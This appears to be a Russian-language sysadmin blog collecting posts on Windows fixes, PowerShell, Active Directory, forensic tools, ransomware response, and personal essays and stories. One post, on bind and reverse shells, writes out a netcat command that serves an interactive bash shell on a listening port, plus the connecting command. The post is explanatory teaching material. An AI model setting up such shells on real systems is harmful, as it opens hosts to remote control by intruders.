Friday, 17 May 2019

Имитация меню "Запуск от имени Администратора".

Всем привет.

Вам знакомо что частенько инсталляцию нового софта в Windows надо запускать с повышением прав. Нажимаем правой клавишей мыши по файлу программы, выбираем пункт "Запуск от имени Администратора". Делов то. Но вот так случилось что пару раз я забыл это сделать. И новый софт вместо своей инсталляции просто удалил старую версию.

Я подумал как же написать командный файл который может это сделать за меня. Разумеется ничего дополнительно мы не ставим, это не в наших правилах. Фишка с системной командой RunAs не годиться ибо она норовит либо спросить пароль админа либо его запомнить. А мне надо всего лишь имитировать вызов пункта меню "Запуск от имени Администратора".

После недолгих поисков был найден вариант скрипта powershell Runas1.ps1:

$ErrorActionPreference = 'Stop'

$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = $args[0]
$si.Arguments = [String]::Join(' ', $args[1..($args.Count - 1)])
$si.Verb = 'RunAs'
$si.UseShellExecute = $true

$process = [System.Diagnostics.Process]::Start($si)

$process.WaitForExit()

do
{
    [System.Threading.Thread]::Sleep(0)
}
while (!$process.HasExited)

Exit $process.ExitCode

Который надо запускать на выполнение вот так:
powershell -File Runas1.ps1 cmd.exe /K echo "Runas Admin for next command"

В этом случае мы получаем окошко с правами  Администратора. Где уже можем просто толкать на выполнение наш инсталлятор.

Есть советы в сети использовать для этого утилиту PSEXEC. Правда ваша, хороший инструмент, но ведь он не штатный.

Успехов.

Thursday, 16 May 2019

Старт ZWCAD в Windows 10.

Всем привет.

ZWCAD+ - это доступный аналог AutoCAD. Пользователь AutoCAD, запустивший ZWCAD+ впервые, сразу увидит, насколько внешне он похож на привычную ему среду проектирования. И действительно, в ZWSOFT говорят о том, что их новый программный продукт "по интерфейсу наиболее близок к AutoCAD среди всех альтернативных САПР." Злые языки говорят что ZWCAD+ близок к AutoCAD также по коду, т.е. разработчики сумели спилить основную часть кода AutoCAD (вместе с оставленными багами) в ZWCAD. Насколько это правда я не знаю. 

Тем не менее ZWCAD - надежное и экономично обоснованное решение САПР с понятным русскоязычным интерфейсом от компании ZWSOFT. Программа отвечает потребностям широкого круга целевых групп работающих в 2D/3D проектировании и полностью совместима с программными продуктами AutoCAD. ZWCAD работает с общим для большинства САПР форматом DWG/DXF, поддерживает скрипты AutoLISP. 

Вот. И стоит он дешевле AutoCAD. 

Вот надо было клиенту запустить его на Windows 10. Нас ждал сюрприз. Старт не состоялся. И никаких сообщений.

После беглого исследования проблемы я нашел два способа запуска ZWCAD+:
1) запуск с ярлыка в "режиме совместимости с Windows 8";
2) надо спрятать библиотеку wininet.dll от ZWCAD+ куда подальше чтобы она не конфликтовала с одноименной dll-кой самой Windows 10.

Собственно все.

Tuesday, 14 May 2019

Skype for Business и Журнал бесед.

Всем привет.

При работе с клиентом Skype for Business 2016 многие пользуются функцией сохранения бесед в Outlook, чтобы потом иметь возможность поднять историю переписки. Функция включена по умолчанию. Но периодически эта функция перестает работать. Т.е. несмотря на то что Skype for Business радостно рапортует что беседа сохранена в закладке "Беседы" самого Skype и в "Журнал бесед" Outlook ее можно найти только в Skype. У кого-то она не работает с самого начала пользования пакетом MS Office, у кого-то отваливается спустя некоторое время. 



Решение проблемы зависит от того насколько она глубоко сидит в вашем профиле. Прояснить ситуацию можно исследованием логов Skype-а, логи хранятся тут: 
%userprofile%\AppData\Local\Microsoft\Office\16.0\Lync\Tracing.

А можно сразу начать решать проблему. 

1. Для начала выполнить экспорт ветки реестра на ПК где такая проблема отсутствует:
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Lync\usermail@forza.com\Autodiscovery]

Поменять в файле экспорта usermail@forza.com на свой почтовый адрес и выполнить импорт на своем ПК. Не забываем перезапустить Outlook и Skype.

Как проверить? Открываете новый диалог с любым человеком в Skype и выполняете принудительное сохранение беседы через Ctrl+S. Если не получилось восстановить "Журнал бесед" идем дальше.

2. Выполните в командной строке команду: ​
reg add HKLM\Software\Policies\Microsoft\Office\16.0\Lync /v TrustModelData /t REG_EXPAND_SZ /d forza.com /f
где forza.com ваш почтовый домен.

Не забываем перезапустить Outlook и Skype.
Проверяем. Если не получилось восстановить "Журнал бесед" идем дальше.

3. Не имея возможности сохранить беседы в Outlook ваш Skype их просто складирует в папке 
%userprofile%\AppData\Local\Microsoft\Office\16.0\Lync\username\History Spooler. 
Загляните туда, и если там совершенно пусто, то у вас проблема с вашим профилем пользователя в Windows. И вам поможет его полное пересоздание.

Успехов.


Wednesday, 8 May 2019

Windows для Linux?

Всем привет.

Как близко подобралась Windows к Linux? Судя по новостям, этим летом, начиная со сборок Windows 10 Insider Preview, Microsoft добавит в систему встроенное ядро Linux, созданное специально для новейшей версии подсистемы Windows для Linux (WSL).

В последние годы Microsoft удивила многих в сообществе разработчиков Linux. Сюрпризы включали перенос в операционную систему Windows таких возможностей, как оболочка Linux Bash в Windows 10 или встроенный OpenSSH в Windows 10, и даже включение Ubuntu, SUSE Linux и Fedora в Microsoft Store. Microsoft теперь идет еще дальше, планируя выпустить полноценное ядро Linux прямо в Windows 10.

Программный менеджер Microsoft Джек Хэммонс сообщает:
начиная со сборок Windows Insiders этим летом, мы добавим встроенное ядро Linux, созданное специально для новейшей версии подсистемы Windows для Linux (WSL). Само ядро изначально будет основано на версии 4.19, последней долгосрочной стабильной версии Linux. Ядро получит набор всех изменений для установки новых долгосрочных стабильных выпусков, чтобы подсистема WSL всегда имела последние достоинства Linux.

Sunday, 5 May 2019

Контракт с Богом.

Всем привет.

Сегодня очередной эпизод из почемучек. Уверен что вам понравится. Возможны технические неточности, вы их простите автору).


"Экспериментальное подразделение Facebook отдельно от родительской компании нуждалось в ИТ-ресурсах для лаборатории клинической нейро-диагностики, которые вписались бы в ограниченный бюджет. Коллектив подразделения воспользовалcя преимуществами безопасности и соответствия требованиям AWS (сервис Сloudfront) и разработал генетическую платформу, отвечающую всем требованиям HIPAA. С помощью того же AWS (сервис Amazon High Throughput) подразделению удалось привлечь добровольцев в пилотный проект по трансформации человеческого сознания, снизить расходы на ИТ и направить освободившиеся ресурсы на цели развития дальнейших исследований."

Facebook digest, 2019

Ее ФБ-месенджер радостно замахал свежими сообщениями.
- Привет, привет.
- И тебе привет.
- Что нового у тебя? 
- Более менее, как обычно, и... скучно, без тебя. Читала последний пост в ФБ в моей ленте?
- Пост про странного художника на остановке троллейбуса? Я сразу поняла что это был ты. И как, образ ее получился?
- Не настолько странного... Не знаю, но судя по фото, ему таки не хватило времени ее закончить. А может кто помог.
...
- Знаешь, мне надо сказать тебе нечто важное... - прилетело от него.
- Оооо, опять, ну сколько можно... - подумала она и написала в ответ. - Я, как всегда, занята сегодня.
- Хех, как обычно, не удивлен - подумал он.
- Если хочешь, давай в пятницу, там решим. - вдруг отстучала она. - Извини, но сейчас мне надо бежать. Не скучай.
- Но это,... - он не успел ответить. 

А он действительно не скучал, его новое состояние позволяло теперь ему летать в облаках очень и очень долго.

- Странная штука жизнь, - подумал он. - Раньше витание в облаках можно было сравнить с наваждением, а теперь это, благодаря новому проекту, со мной происходит буквально.

Про пятницу она вспомнила в субботу.
- Хм, а вот это на него не похоже - пролетела у нее мысль. - Ладно, все мы взрослые люди. Не сложилось.

Не сложилось через неделю, и через две. И через месяц. Хотя в ФБ на нем висел постоянно значок "заходил 1 час тому".

- Ну знаете, это что еще за игнор такой?! -  возмутилась она, и запостила в месенджер свое новое фото. - Вот. Наслаждайся!

От него мгновенно прилетел лайк и... все. Тишина и "заходил 1 минуту тому".

- Ладно, я знаю, что ты не любишь ФБ. Но ко мне то ты точно не равнодушен! - подумала она. - Нарисуешься, куда ты денешься.

Через месяц "заходил 1 час тому". И через год "заходил 1 час тому".

Friday, 3 May 2019

Your black mirror has you.

Всем привет.

Впечатлен просмотром сериала "Черное зеркало".

Идея создания и сценарий сериала "Черное зеркало" принадлежит британскому писателю-сатирику и телеведущему Чарли Брукеру. Производство: Великобритания, Channel 4 Television Corporation, Gran Babieka, Zeppotron.

Идея - за последнее время существование человечества высокие технологии существенно шагнули вперед. Сейчас сложно даже представить, что когда-то у нас не было не то что смартфона, посудомоечной машины, но и даже света. На данный момент отсутствие хоть на один час электричества вызывает массу неудобств абсолютно у всех. 

На сегодняшний день каждый из нас чувствует легкую зависимость от компьютеров и социальных сетей, избавиться от которой практически не возможно. Безусловно, все эти изобретения значительно облегчают жизнь человека, но действительно ли они приносят пользу?

В каждом доме, на каждом столе, на каждой ладони - телевизор, монитор, смартфон, т.е. черное зеркало нашего существования в 21-м веке. Наша связь с реальностью меняется. Мы возложили на алтарь «Google» и «Apple» и поклоняемся им. «Facebook»-алгоритмы знают о нас больше, чем наши собственные родители. У нас есть доступ ко всей информации в мире, но в голове хватает места лишь для того, чтобы воспринять 140 символов из сообщения в твиттере. И то не всегда.

Просмотр - из двух десятков серий скучными оказались всего несколько. Все серии однозначно про нас, и, конечно же, про вас. Про людей и их жизнь в сети, и от сети. А, вы уникум и вы ей не пользуетесь? Расслабтесь, интернет уже давно пользуется вами. Более того, у интернета отличная память, и лекарства от нее нет!


Само "Черное зеркало" этот ваш любимый гаджет всегда с вами. Важно понимать, на худой конец просто помнить, что не он ваш собственник, а вы его. Вспомните что с вами происходит если вы его случайно забываете дома.

Wednesday, 1 May 2019

Какие скалы выбрал Олекса Довбуш?

Всем привет.

По случаю майских выходных поднимаю вопрос - какие скалы выбрал Олекса Довбуш?

Скалы Довбуша возле села Бубнище Ивано-Франковской области.
Цитирую: "Скалы Довбуша - группа скальных останцев высотой до 80 метров, расположенная в Ивано-Франковской области Украины, в 11 км на юго-запад от города Болехов, вблизи села Бубнище. Название скал восходит к предводителю народных мстителей - опришков Олексе Довбушу. Скалы Довбуша являются комплексным памятником природы общегосударственного значения и входят в состав Поляницкого регионального ландшафтного парка."

Назовем это интересное место №1.

Скалы Довбуша возле города Яремче в той же Ивано-Франковской области.
Цитирую: "На этом месте несколько миллионов лет назад было море. На его дне из песчаника образовались скалы, высота их примерно 80 метров. Море ушло и сейчас скалы Довбуша возвышаются над его уровнем на 668 метров. Поэтому они притягивают к себе скалолазов и альпинистов. Но и туристы, любящие активный отдых, приезжают сюда. Основной скальный массив имеет площадь более двухсот метров на один километр. Но здесь много и других отдельно стоящих скал, многие из них выше нескольких десятков метров. Скалы имеют различные причудливые очертания, за что им дали соответствующие названия. Среди них Колобок, Лялька, Ведьма, Книжка, Австрийка."

А это место будет №2.

Похожи очень? Каково между ними расстояние? Около 150 километров. А если честно, то не имеет значение. Олекса мог быть и там и там, или не быть нигде. Это легенда.

Sunday, 28 April 2019

MS Outlook и SQL.

Всем привет.

На днях пришлось поглубже залезть в почтовый клиент MS Outlook. Думаю вы знаете что этот клиент является еще и многофункциональным органайзером. Так вот в нем можно организовать свои пользовательские представления сообщений и запланированных мероприятий. Естественно все это связано с настройкой фильтрации материала.

И как тут было не "удивиться" что любопытным пользователям вроде меня даже доступна фильтрация с помощью SQL.



Отличная возможность "вылизать" свой фильтр по вашим потребностям.
Успехов.

Sunday, 14 April 2019

Кинооператор сегодня.

Всем привет.

Наверное профессия кинооператора сейчас выглядит несколько по другому.

Для показа презентации страховой кампании нужна была организация показа что-то типа телемоста. Почему так пафосно? Дело в том, что часть слушателей были собраны в зале где собственно и проводилась сама презентация. А другая часть слушателей было приглашена в собрание Skype на эту же презентацию. 

При этом нас обязали одновременно:
- передать картинку презентации на большой экран чрез проектор
- передать картинку презентации в Skype
- передать картинку самого выступающего в Skype
- передать голос выступающего в Skype
- сделать запись всего выступления.

Skype, как оказалось, чудесно с этим справляется. Он захватывает и поток с web-камеры (выступающий) и слайды с презентации (проектор) располагая их рядом. Вам, как оператору, надо только время от времени решать что передавать тем кто находится в собрании Skype. Более того, к качестве основного ПК был выбран моноблок, который в ввиду большого зала находился в WiFi-сетке. Единственное чего мы не угадали, так это формата самой презентации. Им оказался документ PDF-формата. Листается также просто как в Adobe Reader так и в SumatraPDF.

Такая вот премьера состоялась.

Через неделю приехал лектор учить наших топов "корпоративным ценностям". Нам, как обычно, надо обеспечить показ презентации лектора.

Tuesday, 9 April 2019

Ping me gently.

Всем привет.

Вам случалось, как администратору, ловить необычные пинги? Вот такие например. С небольшими вариациями.


- Что случилось?

- Она больше не пингуется. Совсем.

- Ты уверен? Совсем, совсем? И как давно?

- Да, черт возьми, я себе места не нахожу... С этого понедельника.

- Как это произошло?

- Да не знаю я. Как обычно, все было хорошо - регулярные пинги, нормальный отклик. Все кадры без потерь. Полный трафик общения в обе стороны. Все транзакции без потерь, даже те которые были не в рамках протокола.

- А потом вдруг?

- Да не вдруг. Вначале начали пропадать пакеты, редко но пропадать. Я решил что она занята еще одной задачей, ну там память перегружена, мой запрос становится в очередь... на который ответ будет позже,.. с задержкой но будет. 

- Но ответ не пришел.

- Не пришел, к сожалению. Я перестроил запрос и повторил пакет. Он канул в никуда как и прежний. Я начал волноваться, решил полностью переписать код транзакции, и...

- И что?

- Ответ пришел.

- Вот и отлично. Она освободилась, увидела твой запрос, приняла его, и ответила. Транзакция завершена. Все хорошо?

- Нет, не так. Ответ пришел не на мой запрос.

- Не понял...

- Это был не мой пакет, не для меня. Как будто он попал ко мне случайно. Понимаешь? НЕ МОЙ.

- Хм, а ты пробовал запускать трассировку к ней? Может между вами нарушен коммуникационный канал. Так бы ты увидел с чьей стороны проблема. Может тебе надо поменять протокол общения, ну там размер кадра подстроить или частотность посылок. Не мешало бы проверить и версию.

Thursday, 4 April 2019

Про АЦСК ИСД ДФС.

Всем привет.

Поскольку персональная ЭЦП входит в каждый дом приходиться мириться с тем софтом с которым мы сталкиваемся каждый новый день для ее обслуживания. Не то чтобы он был криво написан, но вечно ему чего то не хватает, однако в промышленной эксплуатации он уже используется. Точно как с Медком - сначала выпустим, потом допилим...

Так вот есть такой клиент АЦСК ИСД ГФС для работы с ЭЦП. Красивый такой, но во время инсталляции забыли один ключик реестра прописать который делает пустяк - распределяет типы ключей по их типам. А для государственного учреждения это оказалось важно.



Собственно ключик ниже и его надо прописать как Enabled=1.

[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Institute of Informational Technologies\Certificate Authority-1.3\End User\InternationalMode]
"Enabled"=dword:00000001  


Вроде мелочь.)

Wednesday, 3 April 2019

Фреймворки анализа памяти Volatility и Rekall.

Всем привет.

Фреймворки существуют не только для web-разработки, но и в цифровой криминалистике. Самые известные среди них это Volatility и Rekall.

*** Volatility ***

Для работа с дампом оперативной памяти существует отличный фреймворк написанный на языке python - Volatility. Он обладает удобными консольным интерфейсом, который также обладает возможностью напрямую получить доступ к питон шеллу для работы внутри образа.

Основной инструмент использует большое количество плагинов позволяющий выполнить разнообразный анализ изображений памяти. В результате Volatility может работать на любой операционной системе, которая поддерживает Python. Кроме того, волатильность может быть использована против файлы образов памяти из большинства распространенных операционных систем, включая Windows, macOS и Linux.

Пример использования.

sudo apt-get install volatility 

volatility -f image.mem imageinfo - первым делом можно посмотреть информацию о дампе

volatility -f image.mem pslist - возможность увидеть процессы

volatility -f image.mem pstree - дерево процессов

volatility -f image.mem screenshot --dump-dir ~/ -получить скриншот

volatility -f image.mem volshell - получаем интерактивный шелл python

volatility -f image.mem cmdscan - история команд cmd.exe

volatility -f image.mem clipboard - извлечь контент буфера обмена

volatility -f image.mem connscan - увидеть открытые соединения

Monday, 1 April 2019

Своя картина по номерам.

Всем привет.

В последнее время набрала популярность разрисовывать картины по номерам.

Кто-то их называет как "рисовать" т.е. писать картину, но на самом деле это картинка-раскраска для взрослых. Т.е. если маленьким такое предлагалось для умения держать карандаш и различать цвета, то для нас это скорее убить время и успокоить нервы. Кому что нравится. Но в конце концов получается картина маслом (акрил), на которую вы потратили несколько вечеров и которая очень даже неплохо смотрится на расстоянии в пару метров от стены

Общий недостаток у такой картины один - она не уникальна. Такая же может висеть у вашего соседа. Выполненная на том же художественном уровне.) Вы конечно можете попробовать добавить в разрисовку нечто свое но результат предопределен и будет тот же. Есть мнение что такое художество вас развивает как будущего художника. Сомнительно. Разве что это будет хорошей проверкой вашего зрения на способность различать цвета палитры. Больше ничего оно не затронет. Все заранее начертано и все строго по номерам.

Проведу аналогию со сборкой мебели. Там тоже инструкция по сборке, по номерам деталей, и даже указано приблизительное время на сборку. Соблюдай последовательность и все у тебя получится. Похоже? Один в один. Я, к примеру, чтобы было не так скучно собираю мебель без инструкции, а чисто по внешнему виду. Так интересней!

Что можно придумать по поводу картинки по номерам? Самое очевидное это написать свою собственную картину. А что делать если я писать не умею? Это сделать свою, уникальную, картинку по номерам из своего фото.

Wednesday, 27 March 2019

Powershell полезности.

Всем привет.

Есть возможность включить простейший мониторинг изменения содержимого текстового файла. Например файла журнала. Powershell рулит.

Пишем следующее:
Get-Content d:\test.log -Wait -Tail 5

test.log - наш файл журнала 
Tail 5 - показывать последние 5 строк.

При любом добавлении информации в файл test.log она тут же будет отображена в окне Powershell. Есть пару нюансов на выходе если информации в файл будет не добавлена, а наоборот, удалена. В этом случае на выход попадет все что есть в журнале. Также неадекватно себя ведет вывод если добавляется не символ, а только пробел. Как вы понимаете, такое поведение характерно в том случае если журнал изменяется вручную, с помощью редактора, что может служить сигналом о преднамеренном вмешательстве в содержимое файла.

Еще пару полезностей для вывода в Powershell:

- ключик Paging - постраничный вывод, аналог "more" в cmd.

Get-Process | Out-Host -Paging

- ключик PassThru - передача данных по конвейеру дальше из Out-GridView.

Начиная 3-й версии PowerShell Out-GridView поддерживает ключ PassThru, позволяющий передать полученные данные дальше по конвейеру. Например, можно вывести список процессов, в графической оснастке отобрать нужные и передать их командлету Stop-Process, который остановит выбранные процессы:

Get-Process | Out-GridView -PassThru | Stop-Process

Это все.

Saturday, 23 March 2019

Современное искусство.

Привет всем.

Выставка 20-ти номинантов пятого конкурса на соискание Премии Pinchuk Art Centre 2018 - общенациональной премии, которая присуждается украинским художникам в возрасте до 35 лет. Шорт-лист (short-listed set) был выбран отборочной комиссией из более чем 650 заявок, полученных от молодых украинских художников со всех регионов Украины и других стран мира. Каждая работа будет специально создана для этой выставки, формируя экспозицию из 20 индивидуальных пространств, представляющих самостоятельное художественное высказывание.

По случаю вечерней прогулки про Хрещатику в районе Бессарабки и имея в запасе пару часов до поезда решил и я посетить этот центр. Тем более что там стояла очередь на входе из 30 человек. В основном молодежь. Т.е. центр надо считать популярным местом для столичных людей. Раз такое дело то идем и мы.

На входе рамка-металлодетектор и вежливый досмотр личных вещей, без фанатизма. Не понимаю зачем, возможно были какие то эксцессы ранее. Изымают все чем можно вести фото видео съемку, режущие предметы. Смартфоны оставляют. Чтобы ребята на входе не скучали я решил им оставить свой пакет, как в камере хранения, а ребята были не против.)

Итак поднимаемся  на 4-й этаж. Почему 4-й? Не знаю, поехал лифтом за кампанию со студентами. Им, мол, сказали что все самое интересное на 4-м.

Приехали, комнаты направо-налево, притушенный свет, занавесы, инсталляции, слайды, вещи на полу, порванная лента под ногами, пустые бутылки в углу, картины (взрыв цвета, без фокуса) на стенах, фотографии на стенах, старый телевизор показывающий Тома-и-Джери по кругу, раскладушка с грязными вещами,... если вы не поняли это я уже описываю экспозиции номинантов прошлого года. Почти в каждом зале есть Медиатор. Медиатор это девушка или парень которые готовы сделать усилие и попытаться лаконично донести вам смысл экспозиции в конкретной комнате. Очень правильное решение, скажу я вам, иначе труба.)

Wednesday, 20 March 2019

Windows 10 и служба SNMP.

Всем привет.

Пришлось на ровном месте потратить два дня на одну задачку.  

Вот потерял я у себя в Windows 10 службу SNMP.  Служба ловушек SNMP есть, а самой службы нет. Почему так? Может обронил где и выключил при инсталляции? Замечу что такой фокус начинается со сборки 1803. У меня сейчас 1809.

Покопался в сети, спецы советуют включить такой компонент как "Протокол SNMP", вроде все просто. А не так, не оказалось такого компонента в перечне моей Windows 10.

Далее находим советы по доинсталлированию протокола SNMP с помощью Powershell:

- проверка доступных SNMP-служб
Get-Service -Name snmp*

- инсталлирование службы SNMP (утверждают что работает для сборки 1803)
Enable-WindowsOptionalFeature -online -FeatureName SNMP

У меня сборка 1809 поэтому ищем дальше. 

Правим ключик реестра
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\
UseWUServer = 0

- проверка доступных SNMP-служб
Get-WindowsCapability  -Online -Name "SNMP*"

- инсталлирование службы SNMP
Add-WindowsCapability  -Online -Name "SNMP.Client~~~~0.0.1.0"

ИЛИ

- инсталлирование службы SNMP
Add-WindowsCapability  -Online -Name "SNMP.Client*"


Saturday, 16 March 2019

Разница между Get-ADUser и Search-ADAccount.

Всем привет.

Выбирая из AD учетки которые не работали более 90 дней обнаружил интересную статистику по итогам. Как известно такой запрос можно сделать с помощью Get-ADUser или Search-ADAccount.

Пишем:
$d = (Get-Date).AddDays(-90)
$t = New-Timespan –Days 90

Get-ADUser -filter {(enabled -eq "false") -and (lastlogondate -lt $d)} -properties cn,lastlogondate | Select CN,LastLogonDate | measure

ИЛИ

Search-ADAccount –UsersOnly –AccountInactive –TimeSpan $t | sort Name | Select Name,LastLogonDate,DistinguishedName | measure

ИЛИ

Search-ADAccount –UsersOnly –AccountInactive –DateTime $d | sort Name | Select Name,LastLogonDate,DistinguishedName | measure

Так вот в первом запросе итог часто больший чем во втором и третьем. Почему так? А дело  в том что Search-ADAccount всегда выбирает и те учетки по которым входа никогда не было, т.е. у которых поле lastlogondate содержит "пусто".

Поэтому для Get-ADUser надо добавить условие lastlogondate -notlike '*':

Get-ADUser -filter {(enabled -eq "false") -and ((lastlogondate -lt $d) -or (lastlogondate -notlike '*'))} -properties cn,lastlogondate | Select CN,LastLogonDate | measure

На сегодня все.

Электронный ключ к вашему компьютеру.

Всем привет.

Как закрыть доступ к своему компьютеру с помощью электронного ключа?

Просто. До версии Windows 10 существовала штатная утилита syskey, которая после несложных манипуляций записывала вам на флешку файлик, который и являлся электронным ключом. Вставлена флешка при включении - система доступна, а если нет - то недоступна.

В Windows 10 утилита syskey отсутствует. Все построено на сервисе шифрования дисков BitLocker. Плюс к этому ваш ПК должен поддерживать модуль ТРМ  не ниже версии 1.2. Trusted Platform Module (TPM), содержащий в себе криптопроцессор, обеспечивает средства безопасного создания ключей шифрования, способных ограничить использование ключей (как для подписи, так и для шифрования/дешифрования) с той же степенью неповторяемости, что и генератор случайных чисел. 

Поэтому в Windows 10 операция по созданию электронного ключа происходит в три этапа.

Первое, и это естественно, надо включить сам BitLocker для системного диска, например для "С".

Второе, это включить поддержку BitLocker в групповых политиках Computer Configuration > Administrative Templates > Windows Components > BitLocker Drive Encryption > Operating System Drives in the Group Policy window. Двойной клик на "Require Additional Authentication at startup".


И наконец третье. Что еще? Да, вот я долго сам искал фишку почему мой ключ не работает пока не наступил на это третье.

Thursday, 14 March 2019

REVERSE SHELL - удаленная консоль и ее реализация.

Всем привет.

Поговорим про удаленную консоль. Таковая бывает двух видов - REVERSE и BIND.

BIND SHELL - удаленная консоль, когда в роли серверной части выступает удаленная машина, то есть это когда мы сами пошли в гости и получили доступ к чужой консоли.

REVERSE SHELL - удаленная консоль, когда мы выступаем в роли серверной части и вызываем коннект на себя. То есть это когда мы встречаем гостей у себя дома. И когда гости приходят - мы получаем доступ к их консоли.

Как это реализовать?

BIND SHELL. 

1. Для этого на удаленной машине (localhost) выполним команду:

nc -e /bin/bash -nvlp 1337

-e /bin/bash -- команда которую нужно выполнить в случаи удачного подключения, в нашем случае это консоль bash-а которая будет работать интерактивно после подключения.
-n -- numeric-only (использовать только IP-адреса, не использовать dns имена)
-v -- более подробный вывод
-l -- listen-mode (режим слушателя ,который предназначен для входящих соединений)
-p -- порт на котором мы будем слушать

2. На своей машине мы выполним команду:

nc 127.0.0.1 1337

127.0.0.1 - это IP-адрес машины которая ждет подключение
1337 - это порт на котором нас ждут

Когда же применяется BIND SHELL?

А актуален он тогда когда входящие соединения не блокируются сетевыми фаерволами и IP-адрес удаленной машины виден и доступен с любого сегмента сети. К примеру web-сервер на котором размещен сайт всегда имеет выделенный IP-адрес, и мы можем к нему подключиться находясь в глубоком NATе.

Monday, 11 March 2019

Zabbix and LDAP secure authethincation.

Hi everybody.

As you know Zabbix has authethincation methods via Internal, LDAP and HTTP. And how about Secure LDAP? Yes, sure. It can be true also.

So as you can see on the snapshot you have to type in the "LDAP host" field the value as "ldaps://myDC" and in the "Port" field as 636.


If you have a problem with reset authethincation to Internal by Zabbix frontend you can do it in mysql:

mysql -u root -p
UPDATE 'zabbix'.'config' SET 'authentication_type' = '0' WHERE 'config'.'configid' = 1;

See you later.

Sunday, 10 March 2019

Криминалистическая экспертиза цифровых данных.

Всем привет.

Сегодня хочу предложить вам списков технических средств для выполнения криминалистической экспертизы и обработки цифровых данных, которые могут иметь отдельную функциональную нагрузку.

Примеры технических средств выполнения криминалистической копии (создания образа) запоминающих устройств.

Следует руководствоваться рекомендациями, которые определены в разделе 4.2.1 "Copying File from Media" NIST 800-86 Guide to Integrating Forensic Techniques into Incident Response. 

В качестве программных средств создания образа можно использовать:
- утилиты dd и dc3dd для UNIX-систем;
- программы FTK Imager, EnCase Forensic Imager или Redline для Windows-систем:
- программу Belkasoft Evidence Center для Windows, Linux, MacOS, iOS, Android, Windows Phone, Blackberry-систем;
- программу The Sleuth Kit для Windows, MacOS, Linux, Solaris, OpenBSD, FreeBSD-систем.

В качестве программных средств вычисления значений хэш-функций можно использовать:
- программы md5sum или sha256sum для Linux-систем;
- программы Memoryze для Windows и MacOS-систем:
- программу dff для Windows и Linux-систем.

В качестве специализированных программных средств "write-blocker" можно использовать:
- программу dff для Windows и Linux-систем;
- следует руководствоваться рекомендациями, которые определены в разделе 4.2.2 "Data File Integrity" NIST 800-86 Guide to Integrating Forensic Techniques into Incident Response.

Friday, 8 March 2019

Практика с мультимедиа в PDF-документе.

Всем привет.

Небольшая практика по поводу мультимедиа в PDF-документе. Если помните я писал про это здесь

Так вот решил я озвучить один PDF-документ с помощью вставки MP3-треков.Так чтобы читатель при прочтении каждой страницы в фоне слышал соответствующую музыку. Задача ставилась сделать это максимально без участия читателя. Он читает и не должен отвлекаться от приятного чтения. Это можно? Не проблема. 

Проблемы появились  в другом. 

Во первых, если саундтрек запускается при появлении страницы, а прекращается при ее исчезновении(закрытии) с просмотра, то на большом мониторе страниц на просмотр может быть и две. А значит и саундтреки накладываются при звучании. Предлагать читателю самому выключать саундтрек не есть хорошо. И один саунд-трек не вытесняет другой.

Во вторых, для проигрывания мультимедиа (mp3, swf, mp4) необходимо дополнительно и заранее инсталлировать в систему Flash-плеер. Иначе открытый PDF-документ будет надоедать читателю напоминанием об этом.

Следующее. Размер PDF-документа увеличивается ровно на размер мультимедиа. Ок, размеры саунд-треков еще можно вытерпеть, но если внедрять MP4-видеоролик то тут надо десять раз подумать. В сети находил обходной маневр - с помощью дополнительного виджета youtube-widget-for-pdf.swf. Т.е. вы внедряете в свой PDF-документ этот SWF-объект, а уже в нем вставляете код вставки от youtube. Просто и гениально. Непонятно почему это не штатная функция  для PDF-документа. С другой стороны так можно легко вставить  в документ и скрипт вируса. 

Вот такая практика с мультимедиа.


Wednesday, 6 March 2019

Рекомендованное вам от youtube.

Всем привет.

При просмотре роликов в youtube частенько зритель видит в ленте справа подбор роликов со статусом "Рекомендованное вам".

Я лично часто наблюдаю возмущения зрителя в комментариях типа "Почему это мне рекомендуется?" Могу малость порассуждать на эту тему, исходя из своего опыта серфинга в youtube и размещения собственных видероликов.

Итак прежде всего играют роль ключевые слова (теги) по которым конкретный ролик разместил сам автор. Теги вам не видны.

Второе - играет роль в какой Категории размещен этот ролик. Категория вам видна.

Третье - имеет значение само название ролика и что именно занесено в текстовое описание к ролику. Это вам тоже видно. Именно эти блоки индексируются Google-ом.

Допустим вы как пользователь смотрите выбранный вами ролик, а youtube еще до окончания просмотра на основании выше приведенных критериев полагает что еще ряд похожих роликов будут вам интересны. Он вас хочет угадать. Частенько это у него получается. Разработчики не зря же свой хлеб едят, ваш поведенческий алгоритм постоянно изучается и совершенствуется. Также интересно работает кнопка "Показать больше" внизу справа. При ее нажатии youtube пытается разнообразить свою выдачу с учетом ваших предпочтений.

Допустим вам ничего не нравится и вы указываете в url явную ссылку на новый ролик. Даже в этом случае youtube не сдается, и в следующий раз попробует включить его в так называемый "Джем". Причем наполнение джема произойдет в произвольном порядке, плюс к этому сам youtube еще раз попробует вас угадать и случайно добавить что-то от себя. Похоже на игру?) Так оно и есть.

Исходя их этого и появляются странные на ваш взгляд предложения типа "Рекомендованное вам". Согласен, бывают дикие предложения, но это только на первый взгляд.) Примите во внимание что youtube работает на пару с Google-ом, поэтому поиск в Google-е может отразиться и на предложениях youtube. Не забывайте что у вас будет (может быть) совершенно другая картина когда вы находитесь в активной учетке Gmail.

Youtube с вами как бы разговаривает: 
-Вот глянь еще это.
-Это тоже мне?
-Тебе, тебе.
-Почему ты так решил?
-Так глянь сам что ты искал до сих пор, что читал и что пересматривал по несколько раз.

Успехов.

Sunday, 3 March 2019

Как пережить атаку Ransomware?

Всем привет.

По прежнему актуально - как пережить атаку Ransomware? Поэтому совсем короткая инструкция, еще раз от Владислава Радецкого. Перевод мой.

1. Ни в коем случае не переводите деньги. Не платите выкуп!

2. При наявности внешнего HDD снимите образ вашего диск полностью. Если диска не оказалось то скопировать на флешку каталоги в которых были важные документы.

3. Провести дезинфекцию вашей инфицированной системы (отдельная тема).

4. Сперва определите тип Ransomware, для этого необходимо использовать web-портал ID Ransomware. Есть смысл загрузить либо образец зашифрованного файла, либо саму заметку про выкуп, либо адреса email с ransom note.



Friday, 1 March 2019

Про дракона и его принцессу.

Всем привет.

Надыбал недавно на просторах одну притчу про дракона и принцессу. Она была коротенькая и трижды скопированная. Называлась "Принцесса без головы". Мне показалось что автор слишком уж задраматизировал сюжет в свои пару строк и тему, естественно, не раскрыл. Поэтому я решил развить ее, и вот, мой вариант ниже. С весной вас и приятного чтения.

